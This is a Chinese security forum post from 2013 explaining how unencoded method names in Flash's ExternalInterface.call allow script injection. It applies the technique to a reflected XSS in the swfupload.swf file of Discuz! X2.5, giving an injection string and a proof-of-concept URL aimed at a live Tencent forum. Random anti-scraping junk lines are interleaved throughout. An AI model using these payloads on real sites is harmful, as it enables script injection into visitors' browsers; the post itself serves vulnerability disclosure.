中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
+ r, w5 ^. D: V6 @- |& l
1 N) E3 j& `0 D% U$ B
flash.external.ExternalInterface.call($methodName, $parameter)
@5 V& g! A6 y! |# o! q @
在浏览器中执行的是
0 n, d3 G! P1 d/ X: B! t
. X& r5 X& r% h/ {
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
* S; U& X- ]7 r0 c0 ` q' S2 I
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
. c/ j8 u1 R" P# ]5 a; R
/ k" S/ `7 H3 b' P& Y7 Z& x
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
3 G& ?7 i' |# V8 z' c. U7 w
$methodName = a())}catch(e){alert(/xss/)}//
L7 v( a$ F* n# f
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
- q! v. V( r( W' ]
8 W/ x% a1 N) m- d
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
$ l" b( ^" j8 o" I# R# ?
5 C3 J; v t7 ?! W
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 b5 ]6 y F2 O0 u# b! _
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
: i P5 Q6 v9 v4 Y
& ~- w! F% Z3 S
* @# ?+ u- S; Z
# O1 J, I- s) o) C/ c# U
漏洞文件:upload\static\image\common\swfupload.swf
- z$ [, I2 @2 A l
7 @: l$ V1 e1 Y! R# n) N# D
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
! ^' \# X& _0 i
0 o8 A' Z6 j9 |3 h; u$ G; y: a9 f
% L+ U5 s; {2 ]7 }5 T# s
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
0 U* i9 j! Y J6 Y5 q" j
2 t; N) g, b( V; v0 o5 U Z0 A4 q
* K( z$ \# ~, j
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2